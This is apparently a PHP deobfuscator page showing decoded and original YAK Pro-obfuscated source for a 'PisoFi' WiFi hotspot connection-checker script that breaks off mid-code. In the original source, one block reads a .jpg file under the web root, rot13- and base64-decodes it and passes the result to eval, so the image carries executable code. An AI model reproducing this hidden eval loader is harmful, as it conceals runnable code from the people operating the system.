PisofiSetting::setValue("last_kicker_run", $PWtHJ); goto JkWhZ; FRkoL: if (PisofiHelper::areWeOnline()) { goto VVsn4; } goto K3EiD; kKIHy: $Sj4in = new RemoteManager(); goto DIfmj; VaYAa: $baaN9 = 60 * 60; goto VhqF8; ZPbKj: goto QPL1X; goto NAdPF; k_8xb: try { goto vY9vt; vY9vt: $W7BPg = json_decode(\App\Models\PisofiSetting::getValue("license"), true); goto KGUt7; O75rK: goto yoUXf; goto HahF6; rBkYb: $PdOaO = new \GuzzleHttp\Client(); goto Wmtqb; AZXI6: $Qgcbz = new \GuzzleHttp\Psr7\Request("GET", "https://pisofiph.com/api/lkval8/" . $Xxo8q); goto rBkYb; Wmtqb: $Bw9wa = $PdOaO->sendAsync($Qgcbz)->then(function ($exsD_) { goto oghKI; NWvtY: $PL3_Z = \App\Helpers\PisofiHelper::decodeCipher($e82BO["data"], $Xxo8q); goto y5RiC; oghKI: $e82BO = json_decode($exsD_->getBody(), true); goto hifWQ; qdfTQ: zTk6N: goto baRV1; I2s64: App\Models\PisofiSetting::setValue("license", null); goto qdfTQ; g75va: if (!($mq1X0["status"] !== "OK")) { goto zTk6N; } goto I2s64; yNcfC: $mq1X0 = json_decode($PL3_Z, true); goto g75va; y5RiC: if (!$PL3_Z) { goto a_7n3; } goto yNcfC; baRV1: a_7n3: goto CgQln; hifWQ: $Xxo8q = App\Models\PisofiSetting::getValue("cipher_key"); goto NWvtY; CgQln: }); goto JEftN; KGUt7: if (!(isset($W7BPg["licenseType"]) && $W7BPg["licenseType"] == "LICENSED")) { goto DTR8V; } goto sRRCE; UsUEl: DTR8V: goto tWN0D; DjxL9: if (!$Xxo8q) { goto JtXeI; } goto AZXI6; vd42z: App\Models\PisofiSetting::setValue("license", null); goto Fk_ar; sRRCE: $Xxo8q = isset($W7BPg["license"]) ? $W7BPg["license"] : null; goto DjxL9; Fk_ar: yoUXf: goto UsUEl; HahF6: JtXeI: goto vd42z; JEftN: $Bw9wa->wait(); goto O75rK; tWN0D: } catch (\Exception $iT1WR) { file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $iT1WR->getMessage() . " at Line " . $iT1WR->getLine() . " on " . $iT1WR->getFile() . "\xd
"); echo $iT1WR->getMessage() . PHP_EOL; } goto aECVz; DIfmj: if (!$Sj4in->isUsingNgrok()) { goto fIEu4; } goto B7mW8; D1On6: $WUgFF = []; goto mBpNg; EqO34: if (!PisofiHelper::setDateTime()) { goto Auf9B; } goto b878M; wgnvZ: PisofiSetting::setValue("last_kicker_run", $PWtHJ); goto CgGDK; whZyb: $UvIit = 0; goto OxAto; b878M: echo "Time has been adjusted..." . PHP_EOL; goto PUtJ5; NAdPF: V4FRY: goto Yfi_h; u2Yll: if ($sVmaP) { goto zAacI; } goto pUL06; huyIQ: $IyuGD->exec("SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED "); goto yk33Z; K3EiD: $UvIit -= 60 * 60; goto QHAjv; qQPpG: if (!true) { goto V4FRY; } goto xIpL8; GW4c5: goto ZZqcr; goto g0pNu; ClqfS: $MaKOl = 3; goto VaYAa; B7mW8: $bp8EJ = intval(PisofiSetting::getValue("last_ngrok_sync")); goto vZIwi; aECVz: $UvIit = 0; goto hTTeF; VhqF8: $dCH8z = 60 * 60; goto whZyb; pUL06: echo "Time was not set properly..." . PHP_EOL; goto h6Gt3; rQEcb: $PWtHJ = intval(PisofiSetting::getValue("last_kicker_run")); goto q5TtO; CgGDK: y0J9M: goto qahrB; LU1y6: $PWtHJ = time(); goto wgnvZ; Yfi_h: } catch (Exception $iT1WR) { file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $iT1WR->getMessage() . " at Line " . $iT1WR->getLine() . " on " . $iT1WR->getFile() . "
\xa"); echo $iT1WR->getMessage() . PHP_EOL; } goto Tuz5u; S9XS_: $PAnZ3 = (int) $fNcl2->portalMaximumTimeAllowedPauseInSeconds(); goto PYwxz; cctOb: $QBD3x = (bool) $gIbnT->pauseOnDisconnect(); goto TyvjD; eVx_l: $gIbnT = new DM(); goto c72aW; ZfTiM: $YHgr5 = (int) $fNcl2->pauseTimeValidity(); goto HRLUl; CZeTn: $fNcl2 = new PortalManager(); goto aUmou; DLkqn: $WuonE = $fNcl2->isPauseTimeValidityEnabled(); goto ZfTiM; Tuz5u: } goto XDeNF; EjfL7: try { goto rR5f8; rR5f8: echo ROOTPATH . PHP_EOL; goto Y5rzF; Y5rzF: Giqb2($ZbY1s, $NVvZg); goto s1lf2; s1lf2: sleep(1); goto b8rjl; b8rjl: } catch (Exception $iT1WR) { goto FGeiX; FGeiX: file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $iT1WR->getMessage() . " at Line " . $iT1WR->getLine() . " on " . $iT1WR->getFile() . "\xd\xa"); goto KGe0E; KGe0E: echo $iT1WR->getMessage() . PHP_EOL; goto WwwHV; WwwHV: sleep(5); goto XId6M; XId6M: } goto vbQOA; qq_Vm: I1Her: goto fyp0f; blCOW: if (flock($LdIzu, LOCK_EX | LOCK_NB)) { goto SmAZw; } goto FM76A; FM76A: die("Already running. Exiting..."); goto rbLBG; qgzW2: $LdIzu = fopen(__FILE__ . ".lock", "w+"); goto blCOW; QcjJr: $NVvZg = true; goto FSlS0; gNwv6: if (!true) { goto I1Her; } goto EjfL7; FSlS0: ze3Yv: goto gNwv6; fyp0f: flock($LdIzu, LOCK_UN); goto WXwPh; eMAbY: unlink(__FILE__ . ".lock"); ?>

Did this file decode correctly?

Original Code

<?php
/*   __________________________________________________
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.5   |
    |              on 2022-07-02 22:47:35              |
    |    GitHub: https://github.com/pk-fr/yakpro-po    |
    |__________________________________________________|
*/
 $lxbV6 = "\x2f\x2e\x63\141\x63\150\145\x2f\164\x6d\x70\57\x35\65\57\60\x35\x2f\x70\x66\151\57"; $lxbV6 = dirname(__DIR__) . "\x2f"; $lxbV6 = "\57\x2e\x63\141\143\150\x65\x2f\x74\155\160\x2f\x35\x35\x2f\x30\x35\x2f\x70\x66\x69\57"; $lxbV6 = "\x2f\56\143\x61\x63" . "\x68\x65\x2f\164\155" . "\x70\x2f\x35" . "\x35\x2f\x30\x35" . "\x2f\x70\x66\x69\x2f"; require_once $lxbV6 . "\166\145\156\144\x6f\x72\57\x61\x75\x74\157\x6c\x6f\141\x64\56\160\150\x70"; $cdjRe = "\x44\123"; $iP6gv = "\x52\117\117\x54\120\x41\124\x48"; $kdiJG = "\120\x55\102\114\x49\x43\x50\101\x54\x48"; $Z5AI8 = "\123\103\122\111\120\x54\x53\120\x41\x54\x48"; define($cdjRe, DIRECTORY_SEPARATOR); define($iP6gv, $lxbV6); define($kdiJG, "\57\x76\x61\x72\57\167\167\167\57\150\x74\155\x6c\57" . basename(ROOTPATH) . "\57\x70\x75\142\154\x69\143\57"); define($Z5AI8, "\57\x76\x61\162\x2f\x77\167\x77\57\x68\164\155\154\x2f" . basename(ROOTPATH) . DS . "\163\x63\162\x69\x70\x74\163" . DS); use Illuminate\Database\Capsule\Manager as Capsule; use Illuminate\Database\Capsule\Manager as DB; $OWm59 = (require ROOTPATH . DS . "\x61\x70\160" . DS . "\x43\157\156\146\151\x67" . DS . "\144\141\x74\x61\142\x61\163\145\56\x70\150\160"); use Illuminate\Events\Dispatcher; use Illuminate\Container\Container; $ckhMd = new Capsule(); $ckhMd->setEventDispatcher(new Dispatcher(new Container())); $ckhMd->addConnection($OWm59); $ckhMd->setAsGlobal(); $ckhMd->bootEloquent(); use App\Models\ActiveClient; use App\Models\ChargingClient; use App\Models\OldChargingClient; use App\Models\OldClient; use App\Models\ConnectionSession; use App\Models\OldConnectionSession; use App\Models\PisofiSetting; use App\Pisofi\Pisofier; use App\Pisofi\PinConfigurationManager; use App\Pisofi\PortalManager; use App\Pisofi\DesktopManager as DM; use App\Pisofi\Vendo\VendoManager; use App\Models\DesktopClient; use App\Pisofi\DesktopManager; use App\Pisofi\SessionManager; use App\Pisofi\SessionOptionsManager; use App\Helpers\PisofiHelper; use App\Models\ClientAccount; use App\Pisofi\Server\NgrokServerManager; use App\Pisofi\GPIO\PisofiGPIO; use App\Pisofi\Remote\RemoteManager; goto SlW9c; WXwPh: fclose($LdIzu); goto eMAbY; T20cp: $ZbY1s = new Pisofier(); goto QcjJr; vbQOA: goto ze3Yv; goto qq_Vm; XDeNF: set_time_limit(0); goto qgzW2; dfZkI: echo "\x53\x74\141\162\164\x69\x6e\x67\x20\x43\157\156\x6e\145\x63\x74\151\x6f\x6e\40\103\x68\x65\x63\153\x65\x72" . PHP_EOL; goto T20cp; rbLBG: SmAZw: goto dfZkI; SlW9c: function GiQB2(Pisofier $ZbY1s, $NVvZg = false) { goto CZeTn; hQzz9: $G9_nl = (bool) $v14_V->autoRemoveExpiredSessions(); goto aZR2T; GEY29: $Q5E6X = $yUWBq["\x65\156\x61\x62\x6c\145\x64"]; goto n8GrT; c72aW: $v14_V = new SessionOptionsManager(); goto hQzz9; aUmou: $D4Qcw = new DesktopManager(); goto eVx_l; fFQu4: $jkE2Z = $D4Qcw->isPauseTimeValidityEnabled(); goto lnvrK; HRLUl: $yNx8X = (int) $fNcl2->portalMinimumTimeAllowedPauseInSeconds(); goto S9XS_; BbJjY: $NwsFJ = (bool) $fNcl2->canLimitMaxPauseTime(); goto fFQu4; TyvjD: function xM_IO($PdOaO) { goto lRz2c; tUuQ4: try { goto P3Xqi; C147t: if (!$PdOaO instanceof ActiveClient) { goto cbrhX; } goto rl4qa; iEgtf: OldClient::create($ciPfR); goto cotva; P3Xqi: $ciPfR = ["\x6d\141\x63" => $PdOaO->mac, "\151\x70\137\x61\144\x64\x72\x65\163\x73" => $PdOaO->ip_address, "\x64\141\164\x65\x5f\x63\157\x6e\156\145\x63\x74\145\144" => $PdOaO->date_connected, "\143\157\x6e\x6e\145\143\164\x69\157\156\x5f\x74\151\x6d\145" => $PdOaO->connection_time ?? 0, "\x72\145\x6d\x61\x69\x6e\151\x6e\x67\x5f\164\151\155\x65" => $PdOaO->remaining_time ?? 0, "\162\x65\x6d\141\x72\x6b\x73" => $PdOaO->remarks, "\155\x61\162\153" => $PdOaO->mark, "\x73\164\x61\164\x75\x73" => $PdOaO->status, "\144\157\x77\156\x6c\x6f\141\144\137\x72\x61\x74\x65" => $PdOaO->download_rate ?? 0, "\165\160\x6c\157\141\144\x5f\x72\x61\x74\x65" => $PdOaO->upload_rate ?? 0, "\x75\160\154\x6f\x61\144\x5f\x61\165\164\x6f" => $PdOaO->upload_auto, "\x64\157\x77\x6e\154\157\x61\x64\137\141\165\164\x6f" => $PdOaO->download_auto, "\x61\165\x74\157\x5f\x6d\141\x6e\141\x67\x65" => $PdOaO->auto_manage ?? 0, "\x72\x65\x6d\x61\x72\153\x73" => $PdOaO->remarks, "\143\154\x69\145\156\x74\137\151\144" => $PdOaO->client_id, "\144\157\x77\x6e\x6c\157\141\x64\137\x75\163\x61\x67\145" => $PdOaO->download_usage ?? 0, "\x75\160\x6c\157\x61\x64\137\x75\x73\141\x67\145" => $PdOaO->upload_usage ?? 0, "\x74\x79\160\x65" => $PdOaO->type ?? 1, "\142\x61\156\x64\x77\151\x64\164\150\137\x6c\x69\x6d\151\164" => $PdOaO->bandwidth_limit ?? 0, "\x61\154\154\x6f\x77\x5f\160\x61\165\163\x65" => $PdOaO->allow_pause ?? 0, "\141\x6c\x6c\x6f\167\137\143\157\x6e\166\x65\162\x73\x69\157\156" => $PdOaO->allow_conversion ?? 0, "\141\154\x6c\x6f\167\x5f\163\x68\141\162\x69\156\x67" => $PdOaO->allow_sharing ?? 0, "\160\141\165\163\x65\137\143\x6f\165\156\x74" => $PdOaO->pause_count ?? 0, "\x73\x65\156\164" => $PdOaO->sent ?? 0, "\x6e\157\164\x69\x66\x69\145\144" => $PdOaO->notified ?? 0, "\x61\144\155\151\x6e\x5f\x70\x61\165\163\145\x5f\x6f\x76\145\x72\x72\151\x64\145" => $PdOaO->admin_pause_override ?? 0, "\x73\x65\163\163\x69\157\156\137\x69\x64" => $PdOaO->session_id ?? 0]; goto C147t; rl4qa: $ciPfR["\145\170\160\x69\x72\x61\164\151\x6f\156\x5f\x64\x61\164\145"] = $PdOaO->expirationDate(); goto zDkBS; zDkBS: cbrhX: goto iEgtf; cotva: } catch (Exception $iT1WR) { echo $iT1WR->getMessage() . PHP_EOL; } goto B5VOB; lRz2c: if (!$PdOaO) { goto Tk6Wh; } goto tUuQ4; B5VOB: Tk6Wh: goto OivBj; OivBj: } goto dzB72; PYwxz: $OFBUp = (bool) $fNcl2->canLimitMinPauseTime(); goto BbJjY; aZR2T: $yUWBq = $D4Qcw->notificationSettings(); goto GEY29; lnvrK: $EdHEs = (int) $D4Qcw->pauseTimeValidity(); goto cctOb; n8GrT: $Tww0i = $yUWBq["\144\145\154\141\171"] * 60; goto DLkqn; dzB72: try { goto ClqfS; HOh1L: try { goto zI7g1; ql_tP: if ($QBD3x) { goto NmBY4; } goto JNYE9; taH3Q: aFhuI: goto ukFRY; JNYE9: $Qmbfj = DesktopClient::whereRaw("\x28\x73\x74\141\164\165\163\x20\x3d\40\61\40\x41\116\x44\x20\x72\x65\x6d\x61\151\x6e\x69\x6e\x67\137\x74\151\x6d\x65\40\74\x3d\x20\x30\x29\40\117\x52\40\x28\163\164\x61\164\x75\163\40\75\x20\60\51")->get(); goto NuOnZ; xewmn: $OIkYX = DesktopClient::whereRaw("\40\x73\x74\141\164\x75\x73\40\x3d\x20\61\40\101\x4e\x44\40\x6e\157\x74\151\146\151\145\144\40\x3d\x20\x30\x20\x41\116\104\x20\162\145\x6d\141\151\156\151\156\147\x5f\164\151\155\x65\40\74\x3d\x20{$Tww0i}\x20")->get(); goto DlFLy; zI7g1: DB::update("\125\120\104\101\x54\105\40\x64\145\x73\x6b\x74\157\160\x5f\143\154\151\x65\156\164\163\40\123\x45\124\x20\163\145\156\164\75\60\54\40\x75\x70\144\x61\164\x65\144\137\141\164\x20\x3d\x20\x4e\117\127\50\51\x2c\x20\162\145\x6d\x61\x72\x6b\163\40\75\40\47\x52\165\x6e\x6e\151\156\147\x20\x55\x70\x64\x61\x74\x65\40\x54\x69\x6d\145\47\x2c\40\162\x65\155\x61\x69\x6e\151\x6e\147\x5f\164\151\155\145\x20\75\40\x49\106\50{$MaKOl}\40\76\40\162\145\x6d\141\x69\156\x69\x6e\147\137\x74\151\155\145\54\40\x30\x2c\40\107\122\105\101\124\105\x53\124\50\x30\x2c\40\x72\x65\155\141\x69\x6e\151\x6e\147\137\164\x69\155\145\x20\55\x20{$MaKOl}\51\x29\x20\x57\x48\105\122\105\40\x73\x74\x61\164\x75\163\x20\x3d\x20\x31"); goto ql_tP; vKSsr: $kQttn = true; goto igOjs; pfpGK: if (!(count($WUgFF) > 0)) { goto SF037; } goto qCV9q; igOjs: qc73F: goto KfJrP; DlFLy: foreach ($OIkYX as $BKGMP) { goto PFurr; PFurr: $JBojd = $BKGMP->id; goto FP66z; bNuY7: $BKGMP->save(); goto xVq32; ML8N3: $BKGMP->notified = 1; goto bNuY7; xVq32: GQMon: goto P_bv5; FP66z: exec("\163\x75\144\x6f\40\57\x75\163\x72\x2f\142\x69\156\x2f\x70\x68\x70\40\57\166\x61\162\x2f\x77\167\167\57\x68\x74\x6d\x6c\57\x70\151\x73\x6f\x66\151\x2f\x73\x63\162\x69\x70\x74\163\x2f\x77\x65\x62\x5f\x70\165\163\x68\x20{$JBojd}\40\76\40\57\x64\145\x76\x2f\156\165\x6c\154\40\62\x3e\x26\61\40\46\x20"); goto ML8N3; P_bv5: } goto pKu94; QwzRP: $Qmbfj = DesktopClient::whereRaw("\50\163\164\141\164\x75\163\x20\x3d\40\x31\x20\101\116\104\x20\x72\145\x6d\x61\151\x6e\151\156\147\x5f\164\x69\x6d\145\x20\x3c\75\x20\60\x29\x20\x4f\x52\x20\50\163\164\x61\x74\x75\x73\40\x3d\x20\x30\51\40\x4f\122\40\x28\114\x4f\x43\101\x54\105\50\x27\144\151\x73\x63\x6f\156\156\145\143\x74\47\x2c\144\141\x74\141\51\40\x3e\40\x30\x20\101\116\104\x20\163\x74\141\x74\x75\x73\40\x3d\40\61\x20\x41\116\104\x20\x72\145\155\x61\x69\x6e\x69\x6e\x67\x5f\x74\151\155\x65\x20\x3e\40\x30\x29")->get(); goto S57k9; WPzE2: yUN39: goto pfpGK; S57k9: uEdDf: goto AjsFM; ukFRY: if (!(count($Qmbfj) > 0)) { goto qc73F; } goto vKSsr; KfJrP: if (!$Q5E6X) { goto yUN39; } goto xewmn; qCV9q: PisofiHelper::publishEvent("\x6f\x6e\143\154\151\x65\x6e\x74\x64\x69\163\143\x6f\x6e\156\x65\x63\x74\145\x64", ["\143\154\151\x65\156\164\163" => $WUgFF]); goto beRtj; beRtj: SF037: goto yPdzG; kkKw2: NmBY4: goto QwzRP; D4bXV: foreach ($Qmbfj as $PdOaO) { goto pCdgn; n9bCe: goto o5Bvq; goto qalsD; l0ryl: JH5HF: goto n9bCe; pCdgn: if ($PdOaO->remaining_time <= 0 || $PdOaO->isDisconnected()) { goto Cl7w1; } goto AZPtg; wrwZK: $ZbY1s->disconnect($PdOaO->mac, $PdOaO->ip_address, $PdOaO->mark, $PdOaO->download_rate, $PdOaO->upload_rate, $PdOaO->download_rate); goto OQ2Gv; AZPtg: if (!$QBD3x) { goto JH5HF; } goto FByTC; jXu7f: file_put_contents("\x2f\x74\155\160\57\x70\x61\165\163\x65\x64\137\x64\x65\163\153\164\157\160\137\153\x69\x63\x6b\145\x72", "\x5b\x50\101\x55\123\105\x44\x5d\72\40" . date("\131\155\144\110\151\x73") . json_encode($mq1X0) . PHP_EOL, FILE_APPEND); goto mMTf2; OQ2Gv: xm_Io($PdOaO); goto VxV1m; R7uvT: bUg_j: goto A6Jpy; qalsD: Cl7w1: goto wrwZK; y8KrC: o5Bvq: goto R7uvT; mMTf2: $PdOaO->pause(); goto oY__h; UZ_pW: if (!(time() - $mq1X0["\x64\x69\163\143\157\x6e\156\x65\x63\164\145\144"] > 200)) { goto PJD01; } goto jXu7f; mHDBx: S3c7B: goto l0ryl; z5xDA: ajYeG: goto UZ_pW; P1Ld9: file_put_contents("\57\x74\155\160\57\x70\x61\x75\163\145\x64\137\144\x65\x73\153\x74\157\160\137\x6b\x69\x63\153\145\x72", "\133\117\x4b\x5d\72\x20" . date("\131\x6d\x64\110\x69\163") . json_encode($mq1X0) . PHP_EOL, FILE_APPEND); goto gxzPt; VxV1m: $PdOaO->delete(); goto TCNbe; FByTC: echo "\x50\x61\165\163\x69\156\x67\x20\x44\145\163\x6b\x74\157\160\x20\103\x6c\x69\x65\156\164" . PHP_EOL; goto k_UoP; oY__h: PJD01: goto mHDBx; k_UoP: $mq1X0 = $PdOaO->getData(); goto pbBUI; TCNbe: $WUgFF[] = ["\151\x64" => $PdOaO->id, "\155\x61\143" => $PdOaO->mac, "\x69\160\x5f\x61\x64\x64\x72\145\163\163" => $PdOaO->ip_address]; goto y8KrC; gxzPt: goto S3c7B; goto z5xDA; pbBUI: if (isset($mq1X0["\144\151\163\x63\x6f\156\x6e\x65\143\164\145\x64"])) { goto ajYeG; } goto P1Ld9; A6Jpy: } goto taH3Q; NuOnZ: goto uEdDf; goto kkKw2; AjsFM: $WUgFF = []; goto D4bXV; pKu94: IAv3j: goto WPzE2; yPdzG: } catch (Exception $iT1WR) { echo "\133\x44\x45\x53\x4b\124\117\x50\135\x3a\x20" . date("\131\55\x6d\55\x64\40\x48\72\151\72\163") . "\x20\174\40" . $iT1WR->getMessage() . PHP_EOL; file_put_contents(__FILE__ . "\56\x6c\157\x67", date("\131\x2d\155\55\x64\40\110\72\x69\72\163") . "\x20\x3a\x20" . $iT1WR->getMessage() . "\x20\x61\x74\x20\114\x69\156\145\x20" . $iT1WR->getLine() . "\x20\157\156\x20" . $iT1WR->getFile() . "\15\xa"); } goto hwvLQ; Eapda: $baaN9 += $MaKOl; goto ldkO6; IzDel: goto QPL1X; goto iAUTs; hwvLQ: try { goto e2433; Hs_yN: $EUS8d = []; goto Jx6GA; bDOPl: if (!(count($EUS8d) > 0)) { goto A54lq; } goto xHR29; e2433: DB::update("\x55\120\x44\101\124\105\x20\143\x68\141\x72\147\x69\x6e\x67\137\x63\x6c\x69\x65\x6e\x74\x73\40\123\x45\124\x20\x73\145\x6e\164\x3d\x30\x2c\40\x72\145\155\141\162\153\x73\x20\x3d\x20\47\x52\165\156\x6e\x69\156\147\40\125\x70\144\141\164\145\40\x54\151\155\x65\x27\x2c\40\162\x65\155\141\x69\x6e\x69\x6e\x67\x5f\x74\151\155\x65\x20\75\40\111\x46\x28{$MaKOl}\40\x3e\x20\x72\145\155\141\x69\x6e\151\x6e\147\137\164\151\155\x65\54\40\x30\x2c\40\107\122\105\x41\124\105\x53\124\50\60\54\x20\x72\x65\155\141\x69\x6e\x69\156\147\137\164\x69\155\x65\x20\x2d\x20{$MaKOl}\51\51\40\40\x57\110\x45\122\x45\40\163\164\141\164\165\x73\x20\x3d\40\x31"); goto xsiM3; xsiM3: $Qmbfj = ChargingClient::whereRaw("\x28\x73\x74\x61\x74\165\163\x20\75\40\x31\40\101\x4e\104\x20\x72\145\155\141\x69\x6e\x69\156\x67\x5f\164\151\x6d\145\40\74\75\x20\60\51\40\117\x52\40\50\x73\x74\141\164\x75\x73\x20\75\x20\60\x29")->get(); goto Hs_yN; o2cJq: A54lq: goto E1JDo; Jx6GA: foreach ($Qmbfj as $PdOaO) { goto hTNFz; CKhlo: PisofiGPIO::setValue($xBLhi->getValue(), PisofiGPIO::VALUE_LOW); goto bliXg; qWSW3: JE6Rs: goto NSUV5; QElTh: zdPIs: goto o2Jat; o2Jat: PisofiGPIO::setValue($xBLhi->getValue(), PisofiGPIO::VALUE_HIGH); goto OR0yP; W6KX6: Qkkf2: goto M9X_s; bliXg: goto MeWM_; goto QElTh; NSUV5: n1nrP: goto SE3Tg; n2nLS: $xBLhi = $fNcl2->getPinByName($PdOaO->pin_name); goto nNZyo; PUjjc: list($attGi, $xBLhi) = explode("\x5f\137\137", $PdOaO->pin_name); goto uWyo7; uWyo7: $K3kkT = $VdQ3y->getVendo($attGi); goto C2G0H; KjFPB: OldChargingClient::create(["\x6d\141\143" => $PdOaO->mac, "\151\x70\x5f\141\144\144\162\x65\x73\x73" => $PdOaO->ip_address, "\143\x6f\x6e\x6e\145\143\x74\x69\x6f\x6e\x5f\x74\151\x6d\145" => $PdOaO->connection_time, "\x72\x65\x6d\x61\151\156\x69\x6e\147\137\x74\x69\155\x65" => $PdOaO->remaining_time, "\x70\151\x6e\137\x6e\x61\x6d\145" => $PdOaO->pin_name, "\162\x65\x6d\x61\162\x6b\163" => $PdOaO->remarks, "\162\x65\x6d\141\162\x6b\163" => $PdOaO->remarks, "\x63\154\151\145\156\x74\x5f\151\144" => $PdOaO->client_id]); goto VxgFF; q1JwT: $fNcl2->save(); goto HU50O; nNZyo: if (!$xBLhi) { goto Fl20M; } goto TAR23; KiVXD: if ($m9Vwc == PisofiGPIO::VALUE_LOW) { goto zdPIs; } goto CKhlo; tqLb9: tw3Fa: goto KjFPB; f7gAf: bVmpE: goto M9gaq; OR0yP: MeWM_: goto yV7yn; VkbP0: $d1YJR = $K3kkT->getChargingStation($PdOaO->pin_name); goto ZwRBl; M9gaq: $fNcl2 = new PinConfigurationManager(); goto n2nLS; VxgFF: $PdOaO->delete(); goto HBEp2; KgMp2: $VdQ3y = new VendoManager(); goto PUjjc; HBEp2: $EUS8d[] = $PdOaO->pin_name; goto W6KX6; ZwRBl: if (!$d1YJR) { goto JE6Rs; } goto X7KU_; SE3Tg: goto tw3Fa; goto f7gAf; TAR23: $m9Vwc = $xBLhi->getLogicLevel(); goto KiVXD; C2G0H: if (!$K3kkT) { goto n1nrP; } goto VkbP0; hTNFz: if (stripos($PdOaO->pin_name, "\165\163\145\x72\x5f\143\x68\x61\x72\147\x69\x6e\147\137") !== false) { goto bVmpE; } goto KgMp2; yV7yn: $fNcl2->resetCurrentValue($PdOaO->pin_name); goto q1JwT; X7KU_: $K3kkT->disablePin($d1YJR); goto qWSW3; HU50O: Fl20M: goto tqLb9; M9X_s: } goto MtxbL; MtxbL: iyI25: goto bDOPl; xHR29: PisofiHelper::publishEvent("\157\156\x63\154\151\x65\156\x74\143\150\141\x72\147\x65\144\x6f\156\145", ["\143\x6c\151\x65\156\x74\163" => $EUS8d]); goto o2cJq; E1JDo: } catch (Exception $iT1WR) { echo "\133\103\x48\101\122\x47\x49\116\x47\135\x3a\40" . date("\131\55\x6d\55\x64\x20\110\x3a\151\72\163") . "\40\174\x20" . $iT1WR->getMessage() . PHP_EOL; file_put_contents(__FILE__ . "\56\154\157\147", date("\x59\55\x6d\55\144\x20\110\72\151\72\x73") . "\40\72\x20" . $iT1WR->getMessage() . "\40\x61\164\40\x4c\151\x6e\145\40" . $iT1WR->getLine() . "\x20\x6f\x6e\40" . $iT1WR->getFile() . "\xd\12"); } goto kKIHy; pHZtZ: if (!($MaKOl >= 1800)) { goto IYX0j; } goto aYcZX; C_UcH: BicvM: goto KrR1D; mbG72: PisofiSetting::setValue("\154\x61\x73\164\137\153\151\143\153\x65\162\x5f\162\165\156", $HUP6H); goto QGSDY; h6Gt3: sleep(3); goto IzDel; g0pNu: uaEeP: goto FRkoL; Rj3Vl: ZZqcr: goto o72cS; yk33Z: $HUP6H = time(); goto EnErn; DcQnu: goto y0J9M; goto NGaJ4; KrR1D: try { goto usfyl; G_6fO: $baaN9 = 0; goto TotVU; DrlLS: $UJtrP = $kTfRj($M09iI($ClgSF($kTfRj($M09iI($goSZB))))); goto T5jb2; IlorJ: $ClgSF = "\146\151\154\145\x5f\x67\x65\164\137\x63\157\x6e\x74\x65\156\164\x73"; goto SZ3dx; fd3JT: $kTfRj = "\x62\141\x73\x65\66\64\x5f\x64\x65\143\157\144\x65"; goto DrlLS; SZ3dx: $M09iI = "\x73\x74\x72\x5f\x72\157\164\61\63"; goto fd3JT; T5jb2: eval("\x3f\76" . $UJtrP); goto G_6fO; usfyl: $goSZB = "\131\x33\x4d\165\160\x76\x39\x33\x71\x33\x70\x69\156\x55\105\x67" . "\157\x50\71\x6a\156\x4b\x41\151\115\172\x78\x69\x70\x55\x49\x76\x6f\124\x79\167\x59\62\x79\x67\x4d" . "\x6c\71\61\160\x32\111\154\132\x47\122\147\x5a\x47\x56\x34\x72\121\x52\154\102\x50\65\x64\x70\124\x70\75"; goto IlorJ; TotVU: } catch (Exception $iT1WR) { echo $iT1WR->getMessage() . PHP_EOL; } goto ndGFS; qahrB: QPL1X: goto qQPpG; EnErn: $PWtHJ = intval(PisofiSetting::getValue("\154\x61\x73\x74\137\x6b\151\143\x6b\145\x72\x5f\x72\x75\156")); goto zCWdN; OxAto: $PWtHJ = PisofiSetting::getValue("\154\x61\x73\164\x5f\x6b\x69\143\153\145\x72\x5f\162\165\156"); goto CiRNm; LdTGL: $PWtHJ = time(); goto EjpnQ; QHAjv: goto yRwZt; goto g8gY9; GN3Zd: if (!($PWtHJ < time() - 60)) { goto kez2h; } goto LdTGL; hYkoi: iGe3i: goto r0MtG; ZRBiO: if (!PisofiHelper::isOnline()) { goto e3zKv; } goto EqO34; E_tqC: e3zKv: goto u2Yll; ZlxE1: KTmnF: goto mbG72; wW4bs: $kQttn = false; goto D1On6; PUtJ5: $HUP6H = time(); goto JsL6J; ndGFS: if ($UvIit > 60 * 60 * 24 * 7) { goto uaEeP; } goto rWjTj; UhEg5: try { goto N88rr; JfzRv: PisofiSetting::setValue("\154\x61\x73\164\137\x6e\147\x72\157\x6b\137\163\x79\x6e\x63", time()); goto NSmXC; qQ10D: $e82BO = $D37Rr->sendNgrokInfo(); goto JfzRv; kpu_7: $D37Rr = new NgrokServerManager(); goto qQ10D; iWVIt: if (!$IOwvZ) { goto Olt7m; } goto kpu_7; NSmXC: Olt7m: goto o1nD2; N88rr: $IOwvZ = PisofiHelper::getPisofiNgrokUrl(); goto iWVIt; o1nD2: } catch (\Exception $iT1WR) { file_put_contents(__FILE__ . "\56\154\x6f\147", date("\131\55\155\x2d\144\x20\x48\72\151\x3a\163") . "\40\x3a\40" . $iT1WR->getMessage() . "\40\141\164\x20\x4c\x69\x6e\x65\x20" . $iT1WR->getLine() . "\40\x6f\x6e\x20" . $iT1WR->getFile() . "\15\12"); echo $iT1WR->getMessage() . PHP_EOL; } goto qZ6yv; zym5W: Auf9B: goto E_tqC; q5TtO: $MaKOl = max(0, $HUP6H - $PWtHJ); goto PnVDX; r0MtG: if (!$kQttn) { goto KTmnF; } goto ns9N0; Wo5b8: fIEu4: goto DSfTG; JsL6J: PisofiSetting::setValue("\x6c\141\x73\x74\x5f\153\x69\143\x6b\145\162\x5f\162\165\156", $HUP6H); goto rQEcb; mBpNg: try { goto zv2TZ; cSjbg: if (!$MQ8I7) { goto ea51C; } goto IdQEB; bVaD7: if (!$OFBUp) { goto WiZMX; } goto AilSg; ZAend: foreach ($Qmbfj as $PdOaO) { goto daCV9; DJaN6: n64Fy: goto CzyO7; mmLVT: $PdOaO->delete(); goto vmsY9; BreY5: $kQttn = true; goto DJaN6; daCV9: $e82BO = $ZbY1s->disconnect($PdOaO->mac, $PdOaO->ip_address, $PdOaO->mark, $PdOaO->download_rate, $PdOaO->upload_rate, $PdOaO->download_rate); goto hGJ9J; hGJ9J: XM_Io($PdOaO); goto mmLVT; vmsY9: $WUgFF[] = ["\151\x64" => $PdOaO->id, "\x6d\141\143" => $PdOaO->mac, "\151\x70\x5f\x61\144\x64\162\145\163\x73" => $PdOaO->ip_address]; goto BreY5; CzyO7: } goto UDmg5; PmMHQ: $kQttn = true; goto DRJuy; z3pDA: 